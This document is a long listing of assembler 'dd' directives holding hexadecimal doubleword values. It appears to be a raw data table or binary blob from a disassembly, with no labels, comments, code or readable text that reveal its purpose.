dd 0F2D83908h, 22B13E92h, 37691709h, 6BE8D916h, 9FFBF1BAh
dd 0E9ADCC7h, 0B3F7E89Ch, 798273CAh, 38D17943h, 273DA6DFh
dd 281E2627h, 0E63B7030h, 0EAD60516h, 93B1B946h, 93C74D6Bh
dd 9285B123h, 62842C3Ch, 884D6A97h, 4A7C6B5Ah, 5B07DDA7h
dd 0D2AEC9F1h, 41AFA423h, 83C925F0h, 0E7D67CC7h, 6158E0B3h
dd 6F2CE03Ah, 0BEC5F318h, 0F4B31F7Bh, 1B521223h, 0CC0CAF5h
dd 0F1313733h, 0D60B9A93h, 0B4DE8E7Ah, 0AF28C293h, 701BBA49h
dd 0C972286Ah, 0BDEDEB37h, 3A9C41CFh, 0D4CD623h, 0E3480101h
dd 1DBEE5D1h, 9B4D268Dh, 17626EE4h, 9F488C41h, 0C0DC65D2h
dd 0B63840A6h, 433D7070h, 0F3B895D0h, 54530BE2h, 0E2C102Eh
dd 52468F52h, 0AB6F2A99h, 207EFC0Ch, 0E3A44B5Bh, 7DF928E4h
dd 6BDC4BD0h, 3BC602BFh, 4BBFA05Dh, 57781A86h, 0F7B1472Eh
dd 9989D296h, 6F9C5BDh, 0D2609641h, 0CBA8FE09h, 80A1EC0Ch
dd 0D4C5DC2Eh, 77B0C9FCh, 920206EDh, 6857B77h, 0B3B0A033h
dd 0A33592D6h, 60429A10h, 0B765A2C8h, 0D71C7B76h, 81E93808h
dd 0EE79C409h, 2C47C8D0h, 0D8060895h, 0F30AE79Ch, 2790B5C6h
dd 813BADDAh, 55A5A55Bh, 0C2DC2DD6h, 97AB15A2h, 0A2CC7681h
dd 0A9E478BDh, 4C35322Ch, 9D49C188h, 84F40F8Fh, 0B0F5D764h
dd 148F4DC4h, 46E7392Dh, 0DF0697C0h, 47315E4Ah, 796214A5h
dd 0BF139C74h, 2F28D6B8h, 0ECC9C760h, 0C554B59Eh, 9A1B5623h
dd 4AAE4E29h, 0EFB9C63Fh, 74245671h, 5104D120h, 0CAC52BE4h
dd 1E8F6538h, 0C4FBCD9Fh, 0BA7C65B1h, 2D3F6F4Eh, 40222907h
dd 5DA9E649h, 18614CB1h, 2C1B8C09h, 0F5B762C9h, 45CC32FCh
dd 0D5FF20B6h, 0F64D3CB0h, 7F4E6867h, 0F333218Ah, 0CB8CCA2Dh
dd 0ADAEBE9Ch, 0C665614Fh, 2FC95E2Bh, 0F719E6C9h, 9360AF16h
dd 8B532386h, 8FF5C4E3h, 0DC65AD2Ch, 75299C8Fh, 0A0F7C0DBh
dd 0FF078D25h, 756E4A65h, 696CF679h, 846ADE50h, 61E4B734h
dd 73EEC5B9h, 0DEA77C30h, 7A16E490h, 9D101278h, 0ACE8A784h
dd 0DC47E9D9h, 4F14F8BEh, 0B697DB16h, 7F9EC647h, 0AF23D6E0h
dd 48C2B53Eh, 9CB56B5Fh, 885B662Bh, 0FBCC4798h, 374326EEh
dd 0DD21399h, 70338C2Ch, 47EEC8DBh, 1474BAE5h, 0D1B54681h
dd 7BBB6F5Ch, 44AB836Eh, 7F4EA1FDh, 0E5A33F69h, 20B6287Bh
dd 1C6E1E7Bh, 1DA6DC30h, 0B9F6D858h, 0B358F790h, 20F292E5h
dd 0D41F4632h, 1AD7BDA2h, 38956320h, 93403F8Eh, 42B063DCh
dd 0D0237C93h, 0ABC43936h, 82B5AD9Eh, 0BAEFE19Fh, 0A2BA21A8h
dd 0F754EA0Bh, 0ACDD5D3Eh, 0DD725916h, 341EC81Fh, 63094658h
dd 0A82BBFB3h, 4237240Eh, 0D31B1578h, 2A79B796h, 9A022E29h
dd 3A4AC12Ah, 0A72713FAh, 9F799D83h, 33D51BE1h, 0D04B817Dh
dd 0B4AB8C33h, 0DD55845Ah, 7D918117h, 40229C07h, 116D53E7h
dd 0B0E4200Ch, 89FFF578h, 0B872B65Bh, 43F69173h, 0F03AC518h
dd 0EFC44ECEh, 0AC5D8715h, 0BD991158h, 0C6755DB9h, 0D366A5FFh
dd 8385990h, 2AA08AFBh, 4375649Ch, 0D981760Eh, 0A94B235Dh
dd 4CC8BD7Dh, 95343C20h, 0D86AF46Ch, 1932D1EAh, 2054A736h
dd 7477E2Fh, 0AFE014D9h, 0AC9C591Ch, 0D558A0CFh, 9F5D2A13h
dd 0C81F7EC7h, 0E42C92CBh, 4695967Ch, 43AC0799h, 4BAA5A10h
dd 1595E04Ch, 0D7173474h, 0A004D4E0h, 57BD63DEh, 1D7112FCh
dd 932AE74Eh, 70C385E8h, 10ECEF2Fh, 6875239Ch, 0B1A1C08Eh
dd 754A2791h, 13CA88C0h, 6CB03433h, 0F89DBC3Dh, 0CC0430ABh
dd 837D94DBh, 0A7408D03h, 8A3F7F5Bh, 2BBFD34h, 69F101E7h
dd 0BB2D304h, 28737433h, 634E8DCBh, 0B512641Fh, 0A398133h
dd 0BC2A0D81h, 3ADF05E8h, 1726DCFBh, 0C3A5290Fh, 0D1696561h
dd 31FFB94Eh, 6F4124AFh, 0E87F2D5Dh, 0E3EE8FBAh, 9B7637C1h
dd 3F8AB2CEh, 1A22FEBDh, 0F6AEAE71h, 0FB4D457Dh, 948854FDh
dd 3EAAAD81h, 467657E9h, 2F36B30Ch, 5775CC87h, 3E53559Ah
dd 0FB42F25Ch, 0C6093B5Eh, 0E3A17E04h, 55B216D7h, 0B06F3F38h
dd 0EACDBD13h, 0D26F1425h, 68966050h, 0C4EF5E66h, 800312E9h
dd 0BE8DDA96h, 0D2E65B11h, 0A8F8CD27h, 0F6907CC2h, 0F7CA2E01h
dd 70A69EE2h, 15A796FDh, 2DE70B5Eh, 93F2EF01h, 34C0B94Bh
dd 0ACEA2C43h, 0B350EACh, 7E67551Ah, 1C45D553h, 975727E5h
dd 0AAC78E1Ch, 23303680h, 87801104h, 5EC42305h, 8776D0A7h
dd 0C7792748h, 1EA58ABFh, 8749324Ch, 0FD86E5ECh, 79922370h
dd 5526E970h, 0E42796D3h, 54717C38h, 3F60A737h, 0C8BCD81Fh
dd 5FB81EDh, 1C16F60h, 3C02FD42h, 0F903EDF7h, 6D1DFE6Eh
dd 0F3F22CB2h, 90AA2FCEh, 0CF1360B7h, 5BBEB0DFh, 0D1AF895Fh
dd 6C115FD9h, 9D39390h, 3958ADFDh, 200EEF92h, 0D896ED07h
dd 0E45CF325h, 852EA1E8h, 0BA47F41Eh, 2CE40878h, 0FE83B981h
dd 0D63636Ah, 0C2EBF749h, 2BE29624h, 4394ABABh, 95B2D658h
dd 43512806h, 85EC340h, 0CAE1DDC6h, 0F1F0E565h, 341A9B65h
dd 2C54656Ah, 376BB943h, 9AFA836Ah, 0D05EC01Ch, 68D6CFBEh
dd 78617597h, 0F456E6C6h, 0CA857ECEh, 0EBBAE307h, 6654A2DFh
dd 0CC8BF2F9h, 7B369786h, 93DEB401h, 0F9438CDAh, 6CE94C1Ah
dd 0FAB28063h, 0CA6D645Dh, 70662AC9h, 804CABA9h, 625403D9h
dd 1F180A90h, 8B1CDB63h, 9D06D34h, 40D7084h, 0F484044Ch
dd 4B61683Dh, 0B4542FA9h, 29A6EC5Bh, 41FA8A8Ch, 8B7D3D96h
dd 1F883B7Eh, 0E5EFC9AEh, 0DF065672h, 0CBDD355Ch, 9FF61E0Ah
dd 0ADFA13BAh, 4AB0F58h, 33B2E33Ch, 0C71A0ACDh, 788EDCA3h
dd 972E2BD2h, 0C4C5BCE9h, 365BD201h, 0D8387180h, 93C94D2h
dd 167FFA54h, 94D90A3Ch, 0D3CC864Ah, 2767DCB9h, 95A0ADBDh
dd 0D3F89A5Fh, 86652C47h, 0AED3EEF8h, 33364A02h, 0F672B624h
dd 97918B34h, 20A08EDBh, 96B01356h, 0FB30A1D5h, 3AB7B43Fh
dd 2D814BDh, 0DB8D369Bh, 6E0ED9F0h, 0E709B3D8h, 768299B2h
dd 0CC5D0799h, 7F9A706h, 21C5F5C3h, 0F20EFC62h, 0C386F5F5h
dd 6F7F9B18h, 7FC2B612h, 6D17FB7Bh, 9139EAD6h, 648AE7C6h
dd 0F41001BAh, 0DB0B6E3h, 0CD1DF58Dh, 94839EB2h, 77A9583Dh
dd 89038DEDh, 0CD80DFF3h
dd 0C00F890Dh, 0B8F8627Fh, 64ECFCDCh, 7835607h, 1ADB250Bh
dd 1ED37706h, 20E3300Ch, 2E7315FEh, 0B368FB7Fh, 4030D29Eh
dd 0D9B3D1CCh, 26B86FA8h, 7648D959h, 97A06EA9h, 6672F3FEh
dd 0E6F7B349h, 8178EFAAh, 0E171A1B7h, 0E742421Bh, 216C536h
dd 1F388DBFh, 0D51ECBE9h, 10129C1Bh, 55FD88Fh, 0E2274EE3h
dd 8B0CB477h, 669CAF6Ch, 0C8528132h, 74CFF0FDh, 8A9DB7E9h
dd 3838313Eh, 8ABB4FD6h, 27E7EEA1h, 2804E44Fh, 4E1D6BFCh
dd 0A433BDC5h, 0A1DEF500h, 0F1509AF0h, 75ECC42Ch, 0A4DB388Fh
dd 12F2D2E0h, 0D48FB05Fh, 4E590F44h, 0CE8FB76Fh, 3B16D520h
dd 1FDF8CDDh, 83DFC11Fh, 0C1B96B0Fh, 64486E98h, 0AB6491CDh
dd 75259018h, 0E3851A50h, 6A4DDFD2h, 0E13CDC9Fh, 81F8461Fh
dd 470BB9A0h, 0F9F6F173h, 8BE506CDh, 0FDD55611h, 727A0EAFh
dd 0A6D22121h, 0EE4B291Fh, 3A7E7ACEh, 0BCB6553Eh, 0C5100732h
dd 89221F87h, 445721B9h, 0E0266054h, 85B59C90h, 0CB861450h
dd 0FBF0F64Eh, 238127FAh, 0B21F65DFh, 29B3B64Bh, 0F3025C12h
dd 0BD07C974h, 9C687A9h, 7CC5CF16h, 2986243h, 6DAE5C02h
dd 104FC36Fh, 0BEC69495h, 2CB5E52h, 0A85CE4B3h, 915AD84Dh
dd 8017D85Dh, 411467C8h, 62D50D91h, 0FCEB75FEh, 974602F8h
dd 47677CE2h, 577B42C3h, 2F4FB205h, 48DDEB32h, 0E6FD7DADh
dd 93399ECCh, 0F6EBD20Bh, 0A823F809h, 0CD475EBAh, 78932792h
dd 29757754h, 9A259331h, 8EC254ACh, 0C0CCE462h, 61A25D95h
dd 0F0399C1h, 0ED4F6D72h, 46947B65h, 0EF2F72D7h, 9D677694h
dd 0AA5B4459h, 311386C6h, 0D177BE00h, 63BA00CAh, 0D80D3BB6h
dd 0CA701E60h, 5C5A8CA0h, 3D13C781h, 0AA5A25D9h, 34F40977h
dd 72CA749Ah, 0B492DD5h, 19ACF05Dh, 575F1879h, 1E582811h
dd 7ADBE3Dh, 4BE65C69h, 8137008h, 0CE012F9Dh, 0AA9ADFF4h
dd 4EEE5590h, 9E53C315h, 713F9BADh, 53B04623h, 7B7E0951h
dd 9F41C52Dh, 4630FCFCh, 0C3A2B3D4h, 0BFA82BDBh, 1AB5C4BEh
dd 58BE87A1h, 533EF83Ch, 4CEA1BE8h, 9DAAB28Ch, 0B8A9188Fh
dd 3DB2043Ah, 0EE926632h, 0C25AFBB8h, 7D150879h, 42008D93h
dd 0D2320B3Ch, 6E887B72h, 0E26193FEh, 0E631AB00h, 53A26333h
dd 0CC3DA565h, 7E3B784Eh, 914F8BE0h, 6E82249Ch, 0C5783D4Eh
dd 0D2A1D5DFh, 30359390h, 6D0CEE65h, 2FE49B6Ah, 6A8F8F17h
dd 5C316A52h, 3395C34Bh, 0CEA0FD5h, 42645F6Dh, 3CA9AA93h
dd 8E7D7621h, 6EBD24ECh, 0D37BC164h, 0B0B3E5ADh, 0D0473F5Ah
dd 11BBC2ACh, 0EA1A18DBh, 72910DDh, 194FEAE9h, 0AD5AAE5Dh
dd 0ABE9FE66h, 0C61DFABEh, 7F07890Fh, 33FF33ACh, 4C5C05B6h
dd 905481Ch, 41879BA1h, 3D7F0BD4h, 0B29CFE2Eh, 0F2DCF72Fh
dd 0B2CB0EDDh, 2397466h, 4BECD1F2h, 0DB713AEAh, 91EB6CB7h
dd 0FF6128EDh, 9C7BC9C2h, 53BCC832h, 0F1E5D96Fh, 0A7FC2B6h
dd 5D651E07h, 0DC24C498h, 89BFED2h, 0F7B60FE1h, 4737A0Ah
dd 0A999DFDFh, 0FB62AFB5h, 6E06F4D2h, 18F28E4Fh, 0CA0E169h
dd 281D3FE5h, 4231B1D5h, 0FC92E90Eh, 1276C440h, 147B9F47h
dd 70723F93h, 66483C1Ah, 17115E07h, 0B69B55E5h, 490D511Ah
dd 0E69D1EFDh, 0D4719578h, 282AF5BDh, 0C39E64B5h, 0E8E4F491h
dd 9E034A77h, 3AED464Eh, 0CB55AA5Bh, 0E5E12FDFh, 8BE5100Ah
dd 7EC126A0h, 7A1F5990h, 0BC86297Eh, 15852DBFh, 62099737h
dd 0A4F1F4F7h, 0C48A17E4h, 535DE404h, 303D49Ah, 0AFAB2A2Dh
dd 0B7739B8h, 3CB06400h, 600872C2h, 0AD21901Bh, 0FB824CE7h
dd 0B67F9982h, 9AAEC7B7h, 454EAEADh, 50480235h, 0B8C3CAF7h
dd 8105E0FEh, 0D2AE3BC5h, 844576AEh, 61A7F5CEh, 94E07412h
dd 0C9A988BCh, 29C64CEh, 0A6EE7DD9h, 85950FDBh, 3745C397h
dd 84D571B7h, 0B42583E2h, 70B09E23h, 57782AA5h, 8931C177h
dd 2D1FAB33h, 532724AFh, 0D610A13Dh, 69ABA23Eh, 0AD9D3E18h
dd 96331B1Ah, 1C0837BCh, 68ED6703h, 0C2BFD652h, 19796511h
dd 3CC2422Ah, 96E1FE8Bh, 0BB6DE8FBh, 0E4903A30h, 4BD4D96Ch
dd 0A95ED321h, 0F981A1CCh, 9193D2Fh, 68A5DF99h, 0CBC19415h
dd 8EB215FBh, 80E5D79Eh, 0C4788A81h, 0E1ACCF2Ch, 5BEB408Ch
dd 0C635E950h, 89198C79h, 0CE1A56C3h, 3C26E362h, 0FCB634BAh
dd 0B720F0F5h, 58F78878h, 585B6897h, 0D0A2BC47h, 15674E35h
dd 0C0F2D864h, 0B3DBD01Ah, 398606D5h, 0E1296168h, 4758E223h
dd 0CC82B3Dh, 0EC35E195h, 0E28708B7h, 0A9780A32h, 77637B46h
dd 0CCBB52B6h, 0F24FE79Eh, 9A182C6Ch, 6A4BE54Fh, 8AFDA91Ch
dd 6D1E2EE5h, 351E0FEFh, 1CFD5FAh, 2FE0AF73h, 4F3A8FDh
dd 0EFCC4C24h, 94DAAC53h, 5C313C32h, 110457C3h, 0DAB3E987h
dd 7B4F61Ah, 5F085E7Eh, 1BD3F1BEh, 4FC493BCh, 168C1286h
dd 75F42EE3h, 0BF099180h, 4F084B1Eh, 0B79EF9C6h, 894DA52Bh
dd 6F78DEF9h, 0DAEE2029h, 38735BF9h, 6E89819Bh, 6054F66Dh
dd 0FCD3C82Bh, 64407AE4h, 78B70549h, 0A1A4A87Dh, 0D4DC7B90h
dd 13A3A801h, 98B72C38h, 0D4F88113h, 0DA2F7489h, 0A3455727h
dd 0CF9AC18Eh, 2DF801A2h, 95E139F2h, 35EE8588h, 0DB2ED982h
dd 9E30D90Ah, 304B7418h, 3ECC8361h, 6B6C6F9h, 0C5636786h
dd 580C4FBDh, 7E91B128h, 6A4A0AA8h, 0E8EF213Fh, 42DBBADEh
dd 9378B161h, 7CA1D07h, 0E83C6400h, 19368D1Ah, 143C514Fh
dd 447C0DA9h, 0AB2E1398h, 812053E2h, 8B6C6931h, 4C0FC412h
dd 3584ADFDh, 23807499h, 0CA5033A1h, 6A7A35C0h, 3162147Dh
dd 9D82BC8Ch, 355E525h, 0BB69E7E6h, 0C8B8E93Ah, 1247D186h
dd 1B7EF6EFh, 11CDFBEAh, 86928013h, 0D9041767h, 0F4732AC7h
dd 64917C29h, 0F7A7C989h, 2AE317h, 0FA540DAEh, 2CBD3E0Dh
dd 8EE75E97h, 56B90CA2h, 0EFD41FC8h, 6771A086h, 0FDB98F50h
dd 0BD0A51A4h, 2F736373h, 77F82432h, 0E739575Eh, 0B42C9792h
dd 9E715122h, 27AB4A81h, 2030E084h, 678B2CAAh, 2158BE38h
dd 43091629h, 2CDDFC08h, 0CC4C66E3h, 0BE25E317h, 336CE9B4h
dd 0EC4A74A8h, 5049A71Fh, 767129A7h, 0E59BCA16h, 9CAAAF1Ch
dd 99E117F1h, 0A292911Ah, 0DA762EB5h, 73EF3342h, 0FB8910C1h
dd 83D41D05h, 46A56AB4h, 9276509Fh, 0F8A525BBh, 0E6100E49h
dd 7287BD2Ah, 609CB24Eh, 7BE3C2EAh, 507C96A9h, 0C41B4CFBh
dd 0F7D22219h, 45387993h, 0F58C49Bh, 0F3162C6Eh, 82928F48h
dd 410E2BA1h, 97F74562h, 8B00D9E7h, 0C3604801h, 2C18BBDEh
dd 0A2E7A8ACh, 7724AEE6h, 1AC78A3Ah, 317D042Eh, 0F6A936C6h
dd 6681173Ah, 11B7A5C5h, 838376E2h, 3DC8DBFFh, 33169B26h
dd 0F4A68933h, 0B36393E0h, 73D8F67Bh, 7158B3E3h, 2590D00Ch
dd 6F6F79AEh, 0B53006C6h, 988E1DB3h, 325269DCh, 0E9B1D207h
dd 0FB8D0638h, 3F01C53Ah, 0AB9E2E08h, 9311BBD8h, 0E548845h
dd 7C8D745Bh, 6848AD47h, 641F99FBh, 204DEADEh, 39B83EF3h
dd 15257823h, 84790353h, 0CE20C1EDh, 62FC4C40h, 0DAA613BFh
dd 87D70276h, 676F8D9Fh, 6F10B354h, 2CA3977Eh, 6C6A0EF3h
dd 406ACD36h, 4CB8773Fh, 0C03F5265h, 526EA064h, 98B8CCD5h
dd 620868A4h, 959ED2Bh, 35A08D99h, 482FAE6Bh, 387DEFF5h
dd 54A4C6C7h, 4FE28AC9h, 0AC5C969Ch, 0F1B2328Ah, 0C20762E6h
dd 0D915D98Fh, 7F3C7622h, 0B445D717h, 0E0174A70h, 1048C47h
dd 9D6BC690h, 32BCC862h, 9B2A9CC4h, 0A57637A6h, 2C73194Eh
dd 0A10625AAh, 5A9638BEh
dd 10162996h, 5BCB05F7h, 0A126A782h, 0D029B345h, 36557F2Bh
dd 5D9607D5h, 0EA102756h, 0AE8A78DCh, 44D8693Ch, 0F203D864h
dd 0C1C5AB18h, 7A0E4238h, 0A0AE3F4Fh, 402FA63Bh, 5A17D31Dh
dd 0ACCCE9B2h, 0D2659387h, 0FAE902A9h, 0FE3297B2h, 0C9035E6Ah
dd 0CEE568F4h, 440A1D92h, 0B9AB0462h, 0B3B7FE4Eh, 14ED93B9h
dd 1762DBFCh, 4152A59Ch, 68BDBAABh, 9077F1Bh, 0E48C18B6h
dd 48BF4F5Fh, 0D2DC9C84h, 2145A076h, 2478D533h, 213B9EE8h
dd 730DF9A8h, 82DBFEC0h, 0D41D7907h, 6A54650Ah, 0F0C36A3Eh
dd 0AE3644C8h, 0F8E53827h, 9633E67Ah, 731BA6Bh, 841F507Ah
dd 0DCED0CFAh, 0F583C903h, 6F3F9999h, 0C6818741h, 0CD94C607h
dd 0B7B60326h, 0C6C4B4D3h, 58DA4030h, 8A374708h, 0FDD900B1h
dd 0AD9EDBF6h, 0C0A8E3CAh, 925A5E02h, 8A6473BFh, 86952FD2h
dd 481140CCh, 72C9ED2Eh, 50B4F966h, 77826747h, 624597B0h
dd 226CB5A1h, 0FF484034h, 68A51A1Ah, 0DA708558h, 9E921818h
dd 9005361Dh, 4EC07B7h, 507235B5h, 79AE6F25h, 0BDA30A3Fh
dd 0F02C1242h, 3654F94Fh, 9FE3E562h, 0B5A16DF3h, 6B1406C0h
dd 5859D4D5h, 6FB27AC6h, 2ED58965h, 0C616A85Ch, 256465FEh
dd 682DD03Dh, 9C2A477h, 0FDF71E7Ch, 0F9B9960Dh, 8C68F52h
dd 0E960E0FDh, 9D4EDDE2h, 83286C9Dh, 20DA8F0Dh, 0BE543EBh
dd 0D169C2C7h, 0B731361h, 6B10D6E9h, 0FF68888Bh, 27E7162h
dd 0BD1BA20Dh, 3AB0E3B8h, 1D76A2F1h, 0ACD1C899h, 0BCB2FA76h
dd 4C224BE6h, 0CCF8DFD1h, 9339B344h, 0A343D925h, 0B1C4153h
dd 0C70B9867h, 8370CD25h, 0EEFE05B2h, 58C4AADAh, 0AF47A3D3h
dd 0B58A5838h, 898A179Eh, 627BA0F2h, 0A008BFF5h, 40F13F47h
dd 0E08DFD1Ah, 70C75FFFh, 0C9D8535Bh, 31B65132h, 0FF232D2h
dd 0A30D646Ch, 81358DE1h, 87382A6Fh, 0F31AF731h, 0A28FCF77h
dd 0C406745Ch, 4A4F7502h, 74E843A8h, 0FAF8FF5Eh, 5ECA2A16h
dd 9402B229h, 91BB0096h, 0A030C777h, 21BE52EEh, 4DCE195Eh
dd 0A009C4DFh, 976A0C7Fh, 0A2355B41h, 94279ED9h, 387B9350h
dd 0B69BAF12h, 8070D7E9h, 0E2AF9394h, 6EDBA500h, 0CBC7B365h
dd 0ADBD587Eh, 993BAD76h, 816651C6h, 2458EC23h, 4C65E816h
dd 4BF8C51h, 0B671C2EEh, 0E4FB3C48h, 0F7913DCBh, 358A2F2Eh
dd 7CBE0168h, 0F074581Bh, 8EF1DF49h, 26AB13A3h, 0B04B2160h
dd 3AEE8579h, 0C25822ABh, 8CF56EE0h, 381D9197h, 0F9A8608Eh
dd 142A0B65h, 28AD140h, 7610B925h, 0D697FD5Eh, 4A334225h
dd 0F61990EAh, 481BDB29h, 0CF3E4653h, 0B9B7168Eh, 4F8889A8h
dd 0CB2F990Ah, 63427779h, 34C7D724h, 6AC6A1A1h, 0A514C2FEh
dd 3187006Fh, 0CF9D9B73h, 20555701h, 5B757642h, 1ED0DD67h
dd 5FE928E1h, 51BC43D3h, 1004F45Ch, 0F935DE2Ch, 0DF71AD11h
dd 936FAEA5h, 0FF0A32D9h, 8285569Bh, 4E4B57CDh, 0A95F7E3Ah
dd 19873B30h, 0F2EE80Eh, 0A34BFFBCh, 22540E8h, 0D2C86348h
dd 0CDD4B102h, 0CA01950Bh, 0CFA0DBBFh, 54ED5550h, 72B97D12h
dd 0D02DAFDBh, 0B02AFF68h, 0CC2BAF4h, 9228AFF7h, 6CF6BBF9h
dd 53FACD98h, 5F13A00Fh, 0CFE60D93h, 0CAA40514h, 54784C03h
dd 0C5A737C3h, 0CFD478A3h, 3E1425AAh, 0AD8B0D74h, 2F0E9979h
dd 229FC8FBh, 0FBA1CC85h, 0BF33DB5Dh, 0D36EA5F5h, 490A9765h
dd 0A546CF0Ah, 67D2B84Bh, 14E62841h, 587DE625h, 7BD11082h
dd 0A6C528h, 35069A1Ch, 0A46F26A2h, 130D5D19h, 0EE31DECDh
dd 5AC9B4E6h, 1C6BD675h, 0D8A6A401h, 0E546990h, 0E922245h
dd 0A36F9A98h, 13ECC040h, 85FC2C7Ch, 5F88BE2h, 3E3C85FAh
dd 7E5531EFh, 0B8B7A37Ch, 0E2E776CDh, 77C15D29h, 15E106C9h
dd 34B103A0h, 9E19D386h, 0A3EDBCB9h, 413F1C4Ah, 4B27907Fh
dd 0C71CD879h, 0F9238DCAh, 45E949F6h, 6E573537h, 3CC578ADh
dd 86683302h, 62ACA9A0h, 0DB42473Dh, 429EE322h, 0F700B21Bh
dd 8BBC36EDh, 27A8ACC2h, 9707ECD2h, 90B7D966h, 25AD0E5Dh
dd 0E9D4B85Fh, 0FB8A2B36h, 0AC935BEDh, 1BF0C474h, 91D0061Ch
dd 70E28B0Ah, 1948D7FCh, 0BF67B29Ah, 80FAC1B5h, 128D8295h
dd 2B0EE09Fh, 76221141h, 6914978Ah, 997AA426h, 75D34314h
dd 8355254h, 0B357214Bh, 0BEF5D658h, 0D9DB6C1Fh, 0CBF63F12h
dd 0CC9CB020h, 22708831h, 2F307F80h, 0AA2CC024h, 9B0A44F1h
dd 89A00F9Ah, 4D5082D0h, 0A71D113h, 4B0F6557h, 0FC0D210Eh
dd 0B4408514h, 6D749C68h, 2FFF1355h, 5BF9C9E7h, 0B145073Bh
dd 0C56448F9h, 4F48AAEEh, 0FE654AFFh, 5CAD718Eh, 28D8F464h
dd 0C94C85C7h, 62151D80h, 87989A8h, 12376C65h, 0D60D4692h
dd 0CCA0A32Eh, 0EAA33AFEh, 0DD26AD42h, 0B3BF6682h, 0B83ED4A2h
dd 2B3A014Dh, 82623035h, 4DD9C7A7h, 5E36AD30h, 615D28AFh
dd 0B78289D7h, 3CFB18EDh, 9681555Eh, 0C56A27F3h, 17A1D191h
dd 45356E79h, 0BE5CBFCAh, 0CD8FF7AFh, 0FBF36E8Eh, 5652BA22h
dd 4C2511A6h, 42E5B52Fh, 0E7DE8A10h, 0F2C012FDh, 0CF5A1244h
dd 0AD6B460Ch, 56F8D2A9h, 4EFE0289h, 3B62CE9Ah, 7AB4FD60h
dd 0EDCE5EBEh, 0A8ADDB9Ah, 536DC7EEh, 37776FBDh, 0A5551137h
dd 2A371C29h, 0B2FE78B2h, 0F2EB85B6h, 44D1ED77h, 8B4E00Bh
dd 0FCB18B5Fh, 0B663B84Eh, 119FD02Fh, 0CBCC92D4h, 0E6B55F6h
dd 6212BE7Eh, 15D0C2D0h, 0B4EDF72h, 0C0BF0A97h, 0E2B9CE2Dh
dd 7D5A3CB9h, 943B7E22h, 7E924BD7h, 6EF0BD6Ch, 6D24AAD2h
dd 6970AE6Ch, 7638674Ch, 81CD15B6h, 0C1F8FF5Bh, 0A1439657h
dd 1B065597h, 81E58D98h, 82553F05h, 0A4ECBD32h, 271B80FFh
dd 5B8A07D1h, 81ECAB07h, 2A8398CCh, 0E9469AF7h, 170E5314h
dd 6EEE131Ch, 619E42F0h, 51214D94h, 0A7C3F193h, 0D84C6372h
dd 6E5DEC62h, 9E7555C4h, 20FDD0E4h, 3B28FEC3h, 5D7B73CCh
dd 177C2ED4h, 0B569B9CBh, 0A0AF0B79h, 87A1BBC6h, 1B6EAD74h
dd 42F41E1Eh, 16711BC3h, 0EC3C428Ah, 3BF8E508h, 0DE9F54Eh
dd 725C7761h, 7F3E18F2h, 5AC7380Bh, 8C4700D4h, 5F82905Ch
dd 6EAFCA3Eh, 0D21F042Dh, 83C2D2B3h, 165B0648h, 2CCF229Dh
dd 62F325CEh, 3691C1FBh, 8588706Fh, 0FA3F864h, 0E7D16EC2h
dd 0C47A5011h, 0B497A7BEh, 6A9610FBh, 7D984FD5h, 82251365h
dd 53C949B4h, 5F27F0F0h, 422A9B6Fh, 44A94421h, 0DD128C26h
dd 231E45FCh, 7CF6062Fh, 2A544789h, 96A0A417h, 81C36884h
dd 8419EBFEh, 84D75C85h, 0E1829001h, 8D465882h, 0B5418A7Eh
dd 78B912A0h, 0BB1D22EAh, 3C9630F8h, 0A5F31AF3h, 809F3FBEh
dd 6A6A670Dh, 504427A9h, 0B0337BB0h, 680C855Dh, 59646EE9h
dd 138EF8DAh, 7620B9CBh, 85F4874Eh, 23DD6A2Bh, 6B45049Eh
dd 82C2A9E3h, 1C367664h, 8F60F43Eh, 0B4364183h, 0EDB677E7h
dd 2EA119B7h, 5203CBDBh, 9D689A0Ch, 4E282F41h, 6639F3FBh
dd 3635DEBAh, 0D59EC2DFh, 0F405C121h, 0EA50A5EEh, 9BA1FBB5h
dd 0A1C6B31Dh, 4928FA9Ch, 4036A6D0h, 8D9796A8h, 0EC1337B2h
dd 6A700040h, 9889F3C2h, 6FEFD94Fh, 47271F2Bh, 0FDEE551Eh
dd 0DDB8CBE1h, 0BC720C31h, 40A32C9Fh, 1BF56F54h, 26AF6B15h
dd 5042B980h, 297CA47Ah, 8A85F5A6h, 0CBBFFF4Eh, 7D84F59h
dd 0D2BDA355h, 0B33B727Bh, 4AD418Eh, 1F05D41Ch, 0A89A984h
dd 0AD1ECFE4h, 88C4166Ah, 0FEC0D952h, 0A214672Ah, 430131D3h
dd 0A339E783h, 4E109C3Ch, 4A3693AFh, 906ED8A4h, 0A2A9153Ch
dd 0CE64CD2Bh, 0F371EF1Ah
dd 6F40C08Dh, 98B67D2Fh, 5CF54731h, 4EAB0838h, 2885E0F5h
dd 0FB3D1AC1h, 0F2D99137h, 0E85609A1h, 9BEAD441h, 85475571h
dd 0EF13286Ch, 0E365919Fh, 0F71DD111h, 4FCF8C4Bh, 0A7E587A6h
dd 0F22098E6h, 0B389DD0Eh, 0C886D979h, 5075C4ECh, 4B1FC83Ch
dd 5F12DA7Ch, 4EE2A152h, 48DE4090h, 39B8A08h, 11DE229Ch
dd 11CEFF88h, 7D1DF93Fh, 0B75483C1h, 0CDB08955h, 5CCF65D1h
dd 8CDE7500h, 73B47439h, 48B05F0Dh, 5DBBC927h, 10693A17h
dd 3CA77D56h, 1160C669h, 7A16570Fh, 17BBD7F9h, 0A11D2C08h
dd 0B8C11F9Ch, 1987F3F1h, 0FC27E93Ch, 0F205B2B1h, 4A23FE1Dh
dd 0DB77754Dh, 8C6AC501h, 0E4171FA3h, 20B64190h, 0E06C9802h
dd 6752862Fh, 8A5DCD18h, 9DE9BC06h, 5CE55AD5h, 0D89B5EC9h
dd 14E8C928h, 0BCF25568h, 97C9A70Dh, 0E15E8E70h, 0C4E76B4Eh
dd 9B3476F7h, 0AFDAF151h, 6CA948C3h, 6D052FAEh, 1D873E66h
dd 96474FD6h, 80B04C6h, 70909B40h, 0A97BE2B8h, 51FF8629h
dd 0F498A790h, 4F09E3B1h, 0D68EBE23h, 1B2ADD3Ch, 0FEA4BD6Dh
dd 7392270Fh, 56962550h, 3119A0D6h, 0E8C254A7h, 0AA2D5BA6h
dd 72D7D568h, 0A2DC3640h, 3F499E43h, 8E7D3E77h, 9C18B73Dh
dd 0AF6BDCC8h, 4EAB6B2Bh, 637B951Fh, 0B973CD1Ah, 82C84BCBh
dd 0CDAA1F9Ah, 1C8944F7h, 0C578D7B1h, 0C691B070h, 69AE983Fh
